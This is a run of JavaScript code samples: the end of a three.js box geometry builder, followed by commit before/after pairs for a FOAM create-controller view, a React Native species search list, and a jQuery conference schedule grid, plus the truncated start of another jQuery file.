	buildPlane( 'x', 'y', 'z',   1, - 1, width, height,   depth,  widthSegments, heightSegments, 4 ); // pz
	buildPlane( 'x', 'y', 'z', - 1, - 1, width, height, - depth,  widthSegments, heightSegments, 5 ); // nz

	// build geometry
	this.setIndex( new THREE.BufferAttribute( indices, 1 ) );
	this.addAttribute( 'position', new THREE.BufferAttribute( vertices, 3 ) );
	this.addAttribute( 'normal', new THREE.BufferAttribute( normals, 3 ) );
	this.addAttribute( 'uv', new THREE.BufferAttribute( uvs, 2 ) );

	// helper functions

	function calculateVertexCount ( w, h, d ) {

		var vertices = 0;

		// calculate the amount of vertices for each side (plane)
		vertices += (w + 1) * (h + 1) * 2; // xy
		vertices += (w + 1) * (d + 1) * 2; // xz
		vertices += (d + 1) * (h + 1) * 2; // zy

		return vertices;

	}

	function calculateIndexCount ( w, h, d ) {

		var index = 0;

		// calculate the amount of squares for each side
		index += w * h * 2; // xy
		index += w * d * 2; // xz
		index += d * h * 2; // zy

		return index * 6; // two triangles per square => six vertices per square

	}

	function buildPlane ( u, v, w, udir, vdir, width, height, depth, gridX, gridY, materialIndex ) {

		var segmentWidth	= width / gridX;
		var segmentHeight = height / gridY;

		var widthHalf = width / 2;
		var heightHalf = height / 2;
		var depthHalf = depth / 2;

		var gridX1 = gridX + 1;
		var gridY1 = gridY + 1;

		var vertexCounter = 0;
		var groupCount = 0;

		var vector = new THREE.Vector3();

		// generate vertices, normals and uvs

		for ( var iy = 0; iy < gridY1; iy ++ ) {

			var y = iy * segmentHeight - heightHalf;

			for ( var ix = 0; ix < gridX1; ix ++ ) {

				var x = ix * segmentWidth - widthHalf;

				// set values to correct vector component
				vector[ u ] = x * udir;
				vector[ v ] = y * vdir;
				vector[ w ] = depthHalf;

				// now apply vector to vertex buffer
				vertices[ vertexBufferOffset ] = vector.x;
				vertices[ vertexBufferOffset + 1 ] = vector.y;
				vertices[ vertexBufferOffset + 2 ] = vector.z;

				// set values to correct vector component
				vector[ u ] = 0;
				vector[ v ] = 0;
				vector[ w ] = depth > 0 ? 1 : - 1;

				// now apply vector to normal buffer
				normals[ vertexBufferOffset ] = vector.x;
				normals[ vertexBufferOffset + 1 ] = vector.y;
				normals[ vertexBufferOffset + 2 ] = vector.z;

				// uvs
				uvs[ uvBufferOffset ] = ix / gridX;
				uvs[ uvBufferOffset + 1 ] = 1 - ( iy / gridY );

				// update offsets and counters
				vertexBufferOffset += 3;
				uvBufferOffset += 2;
				vertexCounter += 1;

			}

		}

		// 1. you need three indices to draw a single face
		// 2. a single segment consists of two faces
		// 3. so we need to generate six (2*3) indices per segment

		for ( iy = 0; iy < gridY; iy ++ ) {

			for ( ix = 0; ix < gridX; ix ++ ) {

				// indices
				var a = numberOfVertices + ix + gridX1 * iy;
				var b = numberOfVertices + ix + gridX1 * ( iy + 1 );
				var c = numberOfVertices + ( ix + 1 ) + gridX1 * ( iy + 1 );
				var d = numberOfVertices + ( ix + 1 ) + gridX1 * iy;

				// face one
				indices[ indexBufferOffset ] = a;
				indices[ indexBufferOffset + 1 ] = b;
				indices[ indexBufferOffset + 2 ] = d;

				// face two
				indices[ indexBufferOffset + 3 ] = b;
				indices[ indexBufferOffset + 4 ] = c;
				indices[ indexBufferOffset + 5 ] = d;

				// update offsets and counters
				indexBufferOffset += 6;
				groupCount += 6;

			}

		}

		// add a group to the geometry. this will ensure multi material support
		scope.addGroup( groupStart, groupCount, materialIndex );

		// calculate new start value for groups
		groupStart += groupCount;

		// update total number of vertices
		numberOfVertices += vertexCounter;

	}

};

THREE.BoxBufferGeometry.prototype = Object.create( THREE.BufferGeometry.prototype );
THREE.BoxBufferGeometry.prototype.constructor = THREE.BoxBufferGeometry;
<|endoftext|>


<commit_before>/**
 * @license
 * Copyright 2017 The FOAM Authors. All Rights Reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

foam.CLASS({
  package: 'foam.comics',
  name: 'DAOCreateControllerView',
  extends: 'foam.u2.View',

  requires: [
    'foam.comics.DAOCreateController',
    'foam.u2.dialog.NotificationMessage'
  ],

  imports: [
    'dao',
    'stack'
  ],

  exports: [
    'data'
  ],

  css: `
    ^ .net-nanopay-ui-ActionView {
      background: #59aadd;
      color: white;
      margin-right: 4px;
    }
  `,

  properties: [
    {
      class: 'FObjectProperty',
      of: 'foam.comics.DAOCreateController',
      name: 'data',
      factory: function() {
        return this.DAOCreateController.create({ dao: this.dao });
      }
    },
    {
      class: 'String',
      name: 'title',
      expression: function(data$dao$of) {
        return 'Create ' + data$dao$of.name;
      }
    },
    {
      class: 'String',
      name: 'detailView'
    }
  ],

  reactions: [
    [ 'data', 'finished', 'onFinished' ],
    [ 'data', 'throwError', 'onThrowError' ],
  ],

  methods: [
    function initE() {
      this.
      addClass(this.myClass()).
      start('table').
        start('tr').
          start('td').style({'vertical-align': 'top', 'width': '100%'}).
            start('span').
              style({background: 'rgba(0,0,0,0)'}).
              show(this.mode$.map(function(m) { return m == foam.u2.DisplayMode.RW; })).
              start().
                style({'padding-bottom': '4px'}).
                add(this.data.cls_.getAxiomsByClass(foam.core.Action)).
              end().
            end().
            tag({class: this.detailView}, {data: this.data.obj}).
            add(this.data$.dot('data')).
          end().
        end().
      end();
      /*
      this.
        add(this.DAOCreateController.DATA,
            this.data.cls_.getAxiomsByClass(foam.core.Action))
            */
    }
  ],

  listeners: [
    function onFinished() {
      this.stack.back();
    },
    function onThrowError() {
      var self = this;
      this.add(this.NotificationMessage.create({
         message: self.data.exception.message,
         type: 'error'
      }));
    }
  ]
});
<commit_msg>Set 'of' for create controller too and remove duplicate view<commit_after>/**
 * @license
 * Copyright 2017 The FOAM Authors. All Rights Reserved.
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

foam.CLASS({
  package: 'foam.comics',
  name: 'DAOCreateControllerView',
  extends: 'foam.u2.View',

  requires: [
    'foam.comics.DAOCreateController',
    'foam.u2.dialog.NotificationMessage'
  ],

  imports: [
    'dao',
    'stack'
  ],

  exports: [
    'data'
  ],

  css: `
    ^ .net-nanopay-ui-ActionView {
      background: #59aadd;
      color: white;
      margin-right: 4px;
    }
  `,

  properties: [
    {
      class: 'FObjectProperty',
      of: 'foam.comics.DAOCreateController',
      name: 'data',
      factory: function() {
        return this.DAOCreateController.create({ dao: this.dao });
      }
    },
    {
      class: 'String',
      name: 'title',
      expression: function(data$dao$of) {
        return 'Create ' + data$dao$of.name;
      }
    },
    {
      class: 'String',
      name: 'detailView'
    }
  ],

  reactions: [
    [ 'data', 'finished', 'onFinished' ],
    [ 'data', 'throwError', 'onThrowError' ],
  ],

  methods: [
    function initE() {
      this.
      addClass(this.myClass()).
      start('table').
        start('tr').
          start('td').style({'vertical-align': 'top', 'width': '100%'}).
            start('span').
              style({background: 'rgba(0,0,0,0)'}).
              show(this.mode$.map(function(m) { return m == foam.u2.DisplayMode.RW; })).
              start().
                style({'padding-bottom': '4px'}).
                add(this.data.cls_.getAxiomsByClass(foam.core.Action)).
              end().
            end().
            tag({
              class: this.detailView,
              of: this.dao.of,
              data$: this.data$.dot('data')
            }).
          end().
        end().
      end();
      /*
      this.
        add(this.DAOCreateController.DATA,
            this.data.cls_.getAxiomsByClass(foam.core.Action))
            */
    }
  ],

  listeners: [
    function onFinished() {
      this.stack.back();
    },
    function onThrowError() {
      var self = this;
      this.add(this.NotificationMessage.create({
         message: self.data.exception.message,
         type: 'error'
      }));
    }
  ]
});
<|endoftext|>


<commit_before>import { Card, Divider, Input, List, ListItem, Modal, Text, useTheme } from '@ui-kitten/components';
import propTypes from 'prop-types';
import React from 'react';
import {
  Platform,
  SafeAreaView,
  StatusBar,
  StyleSheet,
  TouchableOpacity,
  useWindowDimensions,
  View,
} from 'react-native';
import { getIcon } from '../../services/icons';
import { PADDING } from '../../services/styles';

const MIN_NUM_FOR_POPUP = 20;
const COMMON = 'common_name';
const ID = 'species_id';
const SCIENTIFIC = 'scientific_name';

function itemPropOrString(item, field) {
  if (item === null || item === undefined) {
    return null;
  }

  if (typeof item === 'string') {
    return item;
  }

  return item[field];
}

const MyListItem = ({ item, onPress, selected }) => {
  const theme = useTheme();
  const selectedStyle = {
    borderColor: theme['color-primary-500'],
  };
  const style = selected ? selectedStyle : null;
  const title = itemPropOrString(item, COMMON);
  const description = itemPropOrString(item, SCIENTIFIC);

  return (
    <ListItem
      title={title}
      description={
        title !== description
          ? ({ style }) => (
              <Text category="c1" style={[style, { fontStyle: 'italic' }]}>
                {description}
              </Text>
            )
          : null
      }
      onPress={onPress}
      style={[styles.listItem, style]}
    />
  );
};

MyListItem.propTypes = {
  item: propTypes.oneOfType([propTypes.string, propTypes.object]).isRequired,
  onPress: propTypes.func.isRequired,
  selected: propTypes.bool.isRequired,
};

export default function SearchList({ value, onChange, placeholder, items, style }) {
  // items could be species objects or strings
  const [filteredItems, setFilteredItems] = React.useState([]);
  const [inputValue, setInputValue] = React.useState('');
  const [showModal, setShowModal] = React.useState(false);
  const searchInputRef = React.useRef(null);

  React.useEffect(() => {
    if (showModal) {
      searchInputRef.current?.focus();
    }
  }, [showModal]);

  const getFilter = (text) => {
    return (item) => {
      if (text === null) return false;

      return itemPropOrString(item, COMMON).toLowerCase().includes(text.toLowerCase());
    };
  };

  React.useEffect(() => {
    setFilteredItems(items);
  }, [items]);

  const onChangeText = (text) => {
    setInputValue(text);
    let filteredItems = items.filter(getFilter(text));
    if (filteredItems.length === 1 && itemPropOrString(filteredItems[0], COMMON) === text) {
      setFilteredItems([]);
    } else {
      setFilteredItems(filteredItems);
    }
  };

  const onSelectItem = (item) => {
    onChange(item);

    setInputValue(itemPropOrString(item, COMMON));
    setFilteredItems([]);
    setShowModal(false);
  };

  const clearInput = () => {
    if (inputValue === '') {
      setShowModal(false);
    }

    onChangeText('');
    onChange(null);
  };

  const renderClearIcon = (props) => {
    const ClearIcon = getIcon({
      pack: 'material',
      name: 'close',
    });

    return (
      <TouchableOpacity onPress={clearInput}>
        <ClearIcon {...props} />
      </TouchableOpacity>
    );
  };

  const theme = useTheme();

  const valueStyle = {};

  if (!value) {
    valueStyle.color = theme['color-basic-500'];
  }

  const ArrowIcon = getIcon({
    pack: 'eva',
    name: 'arrow-forward',
    color: theme['color-basic-800'],
    size: 24,
  });

  const windowDimensions = useWindowDimensions();
  const modalStyle = {
    height: Platform.select({
      ios: '100%',
      android: windowDimensions.height - StatusBar.currentHeight * 2,
    }),
    width: windowDimensions.width - PADDING * 2,
  };

  const onValuePress = () => {
    onChangeText('');
    setShowModal(true);
  };

  if (!items) {
    return null;
  }

  return (
    <View style={style}>
      {items.length > MIN_NUM_FOR_POPUP ? (
        <>
          <Card onPress={onValuePress}>
            <View style={styles.innerValueContainer}>
              <Text style={valueStyle}>
                {typeof value === 'string' || value?.species_id
                  ? itemPropOrString(value, COMMON)
                  : `search by ${placeholder}`}
              </Text>
              <ArrowIcon />
            </View>
          </Card>

          <Modal
            visible={showModal}
            backdropStyle={{ backgroundColor: theme['color-basic-transparent-600'] }}
            style={modalStyle}
          >
            <SafeAreaView style={{ flex: 1 }}>
              <View style={styles.container}>
                <Input
                  accessoryRight={renderClearIcon}
                  value={inputValue}
                  placeholder={placeholder}
                  onChangeText={onChangeText}
                  ref={searchInputRef}
                />
                <List
                  data={filteredItems}
                  ItemSeparatorComponent={Divider}
                  renderItem={({ item }) => (
                    <MyListItem
                      key={itemPropOrString(item, ID)}
                      item={item}
                      onPress={() => onSelectItem(item)}
                      selected={itemPropOrString(item, ID) === itemPropOrString(value, ID)}
                    />
                  )}
                  keyboardShouldPersistTaps="always"
                  style={{ backgroundColor: theme['color-basic-100'] }}
                />
              </View>
            </SafeAreaView>
          </Modal>
        </>
      ) : (
        items.map((item) => (
          <View key={itemPropOrString(item, ID)}>
            <MyListItem
              item={item}
              onPress={() => onSelectItem(item)}
              selected={itemPropOrString(item, ID) === itemPropOrString(value, ID)}
            />
            <Divider />
          </View>
        ))
      )}
    </View>
  );
}

const styles = StyleSheet.create({
  innerValueContainer: {
    flexDirection: 'row',
    justifyContent: 'space-between',
    alignItems: 'center',
    margin: -8,
  },
  // eslint-disable-next-line react-native/no-color-literals
  listItem: {
    borderStyle: 'solid',
    borderWidth: 2,
    borderColor: 'transparent',
    paddingHorizontal: 0,
  },
  // eslint-disable-next-line react-native/no-color-literals
  container: {
    flex: 1,
    padding: PADDING,
    backgroundColor: 'white',
    borderRadius: PADDING,
    marginBottom: PADDING,
  },
});

SearchList.propTypes = {
  value: propTypes.oneOfType([propTypes.string, propTypes.object]),
  onChange: propTypes.func.isRequired,
  placeholder: propTypes.string,
  items: propTypes.array.isRequired,
  style: propTypes.object,
};
<commit_msg>feat(front): add placeholder images for species search items<commit_after>import { Card, Divider, Input, List, ListItem, Modal, Text, useTheme } from '@ui-kitten/components';
import propTypes from 'prop-types';
import React from 'react';
import {
  Image,
  Platform,
  SafeAreaView,
  StatusBar,
  StyleSheet,
  TouchableOpacity,
  useWindowDimensions,
  View,
} from 'react-native';
import { getIcon } from '../../services/icons';
import { PADDING } from '../../services/styles';

const MIN_NUM_FOR_POPUP = 20;
const COMMON = 'common_name';
const ID = 'species_id';
const SCIENTIFIC = 'scientific_name';

function itemPropOrString(item, field) {
  if (item === null || item === undefined) {
    return null;
  }

  if (typeof item === 'string') {
    return item;
  }

  return item[field];
}

const MyListItem = ({ item, onPress, selected }) => {
  const theme = useTheme();
  const selectedStyle = {
    borderColor: theme['color-primary-500'],
  };
  const style = selected ? selectedStyle : {};
  const title = itemPropOrString(item, COMMON);
  const description = itemPropOrString(item, SCIENTIFIC);
  const imageSize = 50;
  const showImage = typeof item === 'object';
  if (showImage) {
    style.paddingVertical = 0;
  }

  return (
    <ListItem
      accessoryLeft={() =>
        showImage ? (
          <Image
            style={{ width: imageSize, height: imageSize }}
            source={{ uri: `https://picsum.photos/150.jpg?random=${title}` }}
          />
        ) : null
      }
      title={title}
      description={
        title !== description
          ? ({ style }) => (
              <Text category="c1" style={[style, { fontStyle: 'italic' }]}>
                {description}
              </Text>
            )
          : null
      }
      onPress={onPress}
      style={[styles.listItem, style]}
    />
  );
};

MyListItem.propTypes = {
  item: propTypes.oneOfType([propTypes.string, propTypes.object]).isRequired,
  onPress: propTypes.func.isRequired,
  selected: propTypes.bool.isRequired,
};

export default function SearchList({ value, onChange, placeholder, items, style }) {
  // items could be species objects or strings
  const [filteredItems, setFilteredItems] = React.useState([]);
  const [inputValue, setInputValue] = React.useState('');
  const [showModal, setShowModal] = React.useState(false);
  const searchInputRef = React.useRef(null);

  React.useEffect(() => {
    if (showModal) {
      searchInputRef.current?.focus();
    }
  }, [showModal]);

  const getFilter = (text) => {
    return (item) => {
      if (text === null) return false;

      return itemPropOrString(item, COMMON).toLowerCase().includes(text.toLowerCase());
    };
  };

  React.useEffect(() => {
    setFilteredItems(items);
  }, [items]);

  const onChangeText = (text) => {
    setInputValue(text);
    let filteredItems = items.filter(getFilter(text));
    if (filteredItems.length === 1 && itemPropOrString(filteredItems[0], COMMON) === text) {
      setFilteredItems([]);
    } else {
      setFilteredItems(filteredItems);
    }
  };

  const onSelectItem = (item) => {
    onChange(item);

    setInputValue(itemPropOrString(item, COMMON));
    setFilteredItems([]);
    setShowModal(false);
  };

  const clearInput = () => {
    if (inputValue === '') {
      setShowModal(false);
    }

    onChangeText('');
    onChange(null);
  };

  const renderClearIcon = (props) => {
    const ClearIcon = getIcon({
      pack: 'material',
      name: 'close',
    });

    return (
      <TouchableOpacity onPress={clearInput}>
        <ClearIcon {...props} />
      </TouchableOpacity>
    );
  };

  const theme = useTheme();

  const valueStyle = {};

  if (!value) {
    valueStyle.color = theme['color-basic-500'];
  }

  const ArrowIcon = getIcon({
    pack: 'eva',
    name: 'arrow-forward',
    color: theme['color-basic-800'],
    size: 24,
  });

  const windowDimensions = useWindowDimensions();
  const modalStyle = {
    height: Platform.select({
      ios: '100%',
      android: windowDimensions.height - StatusBar.currentHeight * 2,
    }),
    width: windowDimensions.width - PADDING * 2,
  };

  const onValuePress = () => {
    onChangeText('');
    setShowModal(true);
  };

  if (!items) {
    return null;
  }

  return (
    <View style={style}>
      {items.length > MIN_NUM_FOR_POPUP ? (
        <>
          <Card onPress={onValuePress}>
            <View style={styles.innerValueContainer}>
              <Text style={valueStyle}>
                {typeof value === 'string' || value?.species_id
                  ? itemPropOrString(value, COMMON)
                  : `search by ${placeholder}`}
              </Text>
              <ArrowIcon />
            </View>
          </Card>

          <Modal
            visible={showModal}
            backdropStyle={{ backgroundColor: theme['color-basic-transparent-600'] }}
            style={modalStyle}
          >
            <SafeAreaView style={{ flex: 1 }}>
              <View style={styles.container}>
                <Input
                  accessoryRight={renderClearIcon}
                  value={inputValue}
                  placeholder={placeholder}
                  onChangeText={onChangeText}
                  ref={searchInputRef}
                />
                <List
                  data={filteredItems}
                  ItemSeparatorComponent={Divider}
                  renderItem={({ item }) => (
                    <MyListItem
                      key={itemPropOrString(item, ID)}
                      item={item}
                      onPress={() => onSelectItem(item)}
                      selected={itemPropOrString(item, ID) === itemPropOrString(value, ID)}
                    />
                  )}
                  keyboardShouldPersistTaps="always"
                  style={{ backgroundColor: theme['color-basic-100'] }}
                />
              </View>
            </SafeAreaView>
          </Modal>
        </>
      ) : (
        items.map((item) => (
          <View key={itemPropOrString(item, ID)}>
            <MyListItem
              item={item}
              onPress={() => onSelectItem(item)}
              selected={itemPropOrString(item, ID) === itemPropOrString(value, ID)}
            />
            <Divider />
          </View>
        ))
      )}
    </View>
  );
}

const styles = StyleSheet.create({
  innerValueContainer: {
    flexDirection: 'row',
    justifyContent: 'space-between',
    alignItems: 'center',
    margin: -8,
  },
  // eslint-disable-next-line react-native/no-color-literals
  listItem: {
    borderStyle: 'solid',
    borderWidth: 2,
    borderColor: 'transparent',
    paddingHorizontal: 0,
  },
  // eslint-disable-next-line react-native/no-color-literals
  container: {
    flex: 1,
    padding: PADDING,
    backgroundColor: 'white',
    borderRadius: PADDING,
    marginBottom: PADDING,
  },
});

SearchList.propTypes = {
  value: propTypes.oneOfType([propTypes.string, propTypes.object]),
  onChange: propTypes.func.isRequired,
  placeholder: propTypes.string,
  items: propTypes.array.isRequired,
  style: propTypes.object,
};
<|endoftext|>


<commit_before>// Automatic page refresh
function refresh() {
	window.location.reload(false);
}

(function($) {

	$.fn.flypost = function(context) {

		var publish = function(element, data) {

			$(element).find(".header .time").each(function(){

				var timestamp = this;

				var start = (data.timeslot.start).substring(11, 16);
				var end = (data.timeslot.end).substring(11, 16);

				$(timestamp).replaceWith('
' + start + '-' + end + '
');

			});

			$(element).find(".slot").each(function() {

				var slot = this;

				// Find and store the Ids for this slot
				var slotIdStr = $(slot).attr("id");
				var slotId = slotIdStr.substr(5, slotIdStr.length);

				var getSlotData = function(id) {
					var slotData = null;
					$.each(data.timeslot.slots, function(i, slot) {
						if(slot.id == id) {
							slotData = slot;
						}
					});
					return slotData;
				};

				var slotData = getSlotData(slotId);

				var emptyObj = {
					title : "Empty",
					parent : null,
					reset  : function() {
						if ($(this.parent).hasClass("talk")){
							$(this.parent).addClass("empty").removeClass("talk");
						}
						$(this.parent).find(".speaker").remove();
						$(this.parent).find(".description").remove();
						$(this.parent).find(".title").remove();
					},
					insert : function(parent) {
						this.parent = parent;
						this.reset();
						$(this.parent).append('
' + this.title + '
');
					}
				};

				var talkObj = function(){
					return {
						id : null,
						title : null,
						speaker : null,
						description : null,
						url : null,
						parent : null,
						populate : function(talkData) {
							if(talkData !== null) {
								this.id = talkData.id;
								this.title = talkData.title;
								this.speaker = talkData.speaker;
								this.description = talkData.description;
								this.url = talkData.url;
							}
							return this;
						},
						reconstruct : function(parent) {
							this.parent = parent;
							if (this.parent !== null && this.parent !== 'undefined') {
								this.id = $(this.parent).attr("id");
								this.title = $(this.parent).find(".title").text();
								this.speaker = $(this.parent).find(".speaker").text();
								this.description = $(this.parent).find(".description").text();
								this.url = $(this.parent).find(".title a").attr("href");
							}
							return this;
						},
						equals : function(other) {
							if (
								this.id == other.id &&
								this.talk == other.talk &&
								this.speaker == other.speaker &&
								this.description == other.description
							) {
								return true;
							}
							return false;
						},
						reset : function() {
							if ($(this.parent).hasClass("empty")){
								$(this.parent).addClass("talk").removeClass("empty");
							}
							$(this.parent).find(".speaker").remove();
							$(this.parent).find(".description").remove();
							$(this.parent).find(".title").remove();
						},
						insert : function(parent) {

							this.parent = parent;
							this.reset();

							if (this.title !== null && $.trim(this.title) != '') {
								$(this.parent).append('
' + this.title + '
');
							}
							if (this.description !== null && $.trim(this.description) != '') {
								$(this.parent).append('
' + this.description + '
');
							}
							if (this.speaker !== null && $.trim(this.speaker) != '') {
								$(this.parent).append('
' + this.speaker + '
');
							}
							if (this.title) {

							}
						}
					};
				};

				if(slotData === null) {
					refresh();
					return;
				}

				if($(slot).children(".empty").length > 0) {

					if(slotData.talk_id && slotData.talk_id !== null) {

						// Slot was empty but now has a talk
						$(slot).children(".empty").each(function() {
							var current = new talkObj().populate(slotData.talk).insert(this);
						});

					} else {

						// Slot was empty and still is.  Do nothing.

					}

				} else {

					if(slotData.talk_id === null) {

						// Slot was occupied but now is empty
						$(slot).children(".talk").each(function() {
							var current = new emptyObj().insert(this);
						});

					} else {

						// Slot is still occupied
						$(slot).children(".talk").each(function() {
							var current = new talkObj().populate(slotData.talk);
							var original = new talkObj().reconstruct(this);

							if (!current.equals(original)) {
								current.insert(this);
							}
						});
					}

				}

			});
		};
		var fetchJson = function(context) {
			var sources = {
				now  : "http://bcl9grid.heroku.com/s/grid/now.json",
				next : "http://bcl9grid.heroku.com/s/grid/next.json"
			};

			// Get URL for JSon version of pane specified
			var source = null;
			if($(context).hasClass('now')) {
				source = sources.now;
			} else if($(context).hasClass('next')) {
				source = sources.next;
			}

			// Update pane specified
			if(source !== null) {
				var json = $.getJSON(source, function(data) {
					publish(context, data);
				});
			}

		};
		fetchJson(context);
	};

	$.fn.adjustToFit = function() {

		var pane = this;

		// Determine the height of relevant elements
		var paneHeight = $(pane).height();
		var windowHeight = $(window).height();
		var documentHeight = $(document).height();

		// Calculate a potential new top position for the pane
		var spaceHeight = windowHeight;
		if(documentHeight > spaceHeight) {
			spaceHeight = documentHeight;
		}
		var spareBodySpace = spaceHeight - paneHeight;
		var newPaneTop = (spareBodySpace / 2);

		// If there's space, reposition the pane
		if(newPaneTop > 0) {
			var paneTop = newPaneTop + "px";
			$(pane).css("top", paneTop);
		}
	};
	// Now and next
	$.fn.blade = function(custom_settings) {

		// Configuration
		var settings = {
			whats_on : {
				columns : 1
			}
		};

		var visible = null;
		var invisible = null;

		// Methods
		var init = function() {

			// Determine settings
			configure();

			// Find the now and next panes
			visible = $(".grid .whats-on").filter(".visible");
			invisible = $(".grid .whats-on").filter(".invisible");

			if (invisible === null && $(".main > p.message")) {
				var original = $(".main > p.message");
				var clone = $(original).clone();
				$(".grid .whats-on").append(clone);
				$(original).remove();
			}

			$(invisible).adjustToFit();

		};
		var configure = function() {

			// Merge the default settings with any custom ones supplied
			if(custom_settings) {
				this.settings = $.extend(settings, custom_settings);
			}

		};
		var rotate = function() {

			$(visible).animate({
				opacity : 0
			}, 2500);
			$(invisible).animate({
				opacity : 1
			}, 2500);
			$(visible).removeClass("visible").addClass("invisible");
			$(invisible).removeClass("invisible").addClass("visible");
			setTimeout("$(this).blade()", 30000);
		};

		this.each(function() {
			init();
			$.fn.flypost(invisible);
			rotate();
		});
	};

	// Automatic page refresh, every 60 seconds
	$(document).ready(function() {
		// the timeout value should be the same as in the "refresh" meta-t
		// setTimeout("refresh()", 60*1000);
	});
})(jQuery);
<commit_msg>Removing timestamp update as is superfluous.<commit_after>// Automatic page refresh
function refresh() {
	window.location.reload(false);
}

(function($) {

	$.fn.flypost = function(context) {

		var publish = function(element, data) {

			$(element).find(".slot").each(function() {

				var slot = this;

				// Find and store the Ids for this slot
				var slotIdStr = $(slot).attr("id");
				var slotId = slotIdStr.substr(5, slotIdStr.length);

				var getSlotData = function(id) {
					var slotData = null;
					$.each(data.timeslot.slots, function(i, slot) {
						if(slot.id == id) {
							slotData = slot;
						}
					});
					return slotData;
				};

				var slotData = getSlotData(slotId);

				var emptyObj = {
					title : "Empty",
					parent : null,
					reset  : function() {
						if ($(this.parent).hasClass("talk")){
							$(this.parent).addClass("empty").removeClass("talk");
						}
						$(this.parent).find(".speaker").remove();
						$(this.parent).find(".description").remove();
						$(this.parent).find(".title").remove();
					},
					insert : function(parent) {
						this.parent = parent;
						this.reset();
						$(this.parent).append('
' + this.title + '
');
					}
				};

				var talkObj = function(){
					return {
						id : null,
						title : null,
						speaker : null,
						description : null,
						url : null,
						parent : null,
						populate : function(talkData) {
							if(talkData !== null) {
								this.id = talkData.id;
								this.title = talkData.title;
								this.speaker = talkData.speaker;
								this.description = talkData.description;
								this.url = talkData.url;
							}
							return this;
						},
						reconstruct : function(parent) {
							this.parent = parent;
							if (this.parent !== null && this.parent !== 'undefined') {
								this.id = $(this.parent).attr("id");
								this.title = $(this.parent).find(".title").text();
								this.speaker = $(this.parent).find(".speaker").text();
								this.description = $(this.parent).find(".description").text();
								this.url = $(this.parent).find(".title a").attr("href");
							}
							return this;
						},
						equals : function(other) {
							if (
								this.id == other.id &&
								this.talk == other.talk &&
								this.speaker == other.speaker &&
								this.description == other.description
							) {
								return true;
							}
							return false;
						},
						reset : function() {
							if ($(this.parent).hasClass("empty")){
								$(this.parent).addClass("talk").removeClass("empty");
							}
							$(this.parent).find(".speaker").remove();
							$(this.parent).find(".description").remove();
							$(this.parent).find(".title").remove();
						},
						insert : function(parent) {

							this.parent = parent;
							this.reset();

							if (this.title !== null && $.trim(this.title) != '') {
								$(this.parent).append('
' + this.title + '
');
							}
							if (this.description !== null && $.trim(this.description) != '') {
								$(this.parent).append('
' + this.description + '
');
							}
							if (this.speaker !== null && $.trim(this.speaker) != '') {
								$(this.parent).append('
' + this.speaker + '
');
							}
							if (this.title) {

							}
						}
					};
				};

				if(slotData === null) {
					refresh();
					return;
				}

				if($(slot).children(".empty").length > 0) {

					if(slotData.talk_id && slotData.talk_id !== null) {

						// Slot was empty but now has a talk
						$(slot).children(".empty").each(function() {
							var current = new talkObj().populate(slotData.talk).insert(this);
						});

					} else {

						// Slot was empty and still is.  Do nothing.

					}

				} else {

					if(slotData.talk_id === null) {

						// Slot was occupied but now is empty
						$(slot).children(".talk").each(function() {
							var current = new emptyObj().insert(this);
						});

					} else {

						// Slot is still occupied
						$(slot).children(".talk").each(function() {
							var current = new talkObj().populate(slotData.talk);
							var original = new talkObj().reconstruct(this);

							if (!current.equals(original)) {
								current.insert(this);
							}
						});
					}

				}

			});
		};
		var fetchJson = function(context) {
			var sources = {
				now  : "http://bcl9grid.heroku.com/s/grid/now.json",
				next : "http://bcl9grid.heroku.com/s/grid/next.json"
			};

			// Get URL for JSon version of pane specified
			var source = null;
			if($(context).hasClass('now')) {
				source = sources.now;
			} else if($(context).hasClass('next')) {
				source = sources.next;
			}

			// Update pane specified
			if(source !== null) {
				var json = $.getJSON(source, function(data) {
					publish(context, data);
				});
			}

		};
		fetchJson(context);
	};

	$.fn.adjustToFit = function() {

		var pane = this;

		// Determine the height of relevant elements
		var paneHeight = $(pane).height();
		var windowHeight = $(window).height();
		var documentHeight = $(document).height();

		// Calculate a potential new top position for the pane
		var spaceHeight = windowHeight;
		if(documentHeight > spaceHeight) {
			spaceHeight = documentHeight;
		}
		var spareBodySpace = spaceHeight - paneHeight;
		var newPaneTop = (spareBodySpace / 2);

		// If there's space, reposition the pane
		if(newPaneTop > 0) {
			var paneTop = newPaneTop + "px";
			$(pane).css("top", paneTop);
		}
	};
	// Now and next
	$.fn.blade = function(custom_settings) {

		// Configuration
		var settings = {
			whats_on : {
				columns : 1
			}
		};

		var visible = null;
		var invisible = null;

		// Methods
		var init = function() {

			// Determine settings
			configure();

			// Find the now and next panes
			visible = $(".grid .whats-on").filter(".visible");
			invisible = $(".grid .whats-on").filter(".invisible");

			if (invisible === null && $(".main > p.message")) {
				var original = $(".main > p.message");
				var clone = $(original).clone();
				$(".grid .whats-on").append(clone);
				$(original).remove();
			}

			$(invisible).adjustToFit();

		};
		var configure = function() {

			// Merge the default settings with any custom ones supplied
			if(custom_settings) {
				this.settings = $.extend(settings, custom_settings);
			}

		};
		var rotate = function() {

			$(visible).animate({
				opacity : 0
			}, 2500);
			$(invisible).animate({
				opacity : 1
			}, 2500);
			$(visible).removeClass("visible").addClass("invisible");
			$(invisible).removeClass("invisible").addClass("visible");
			setTimeout("$(this).blade()", 30000);
		};

		this.each(function() {
			init();
			$.fn.flypost(invisible);
			rotate();
		});
	};

	// Automatic page refresh, every 60 seconds
	$(document).ready(function() {
		// the timeout value should be the same as in the "refresh" meta-t
		// setTimeout("refresh()", 60*1000);
	});
})(jQuery);
<|endoftext|>


<commit_before>$(document).ready(function() {

  $('#show').on('click', displayList);
  $('#hide').on('click', hideList);
  $('.say').on('click', sayText);

  $(window).bind("pageshow", function(event) {
    if(event.originalEvent.persisted) {
      window.location.reload()
    }
  });
});

var displayList = function(event){
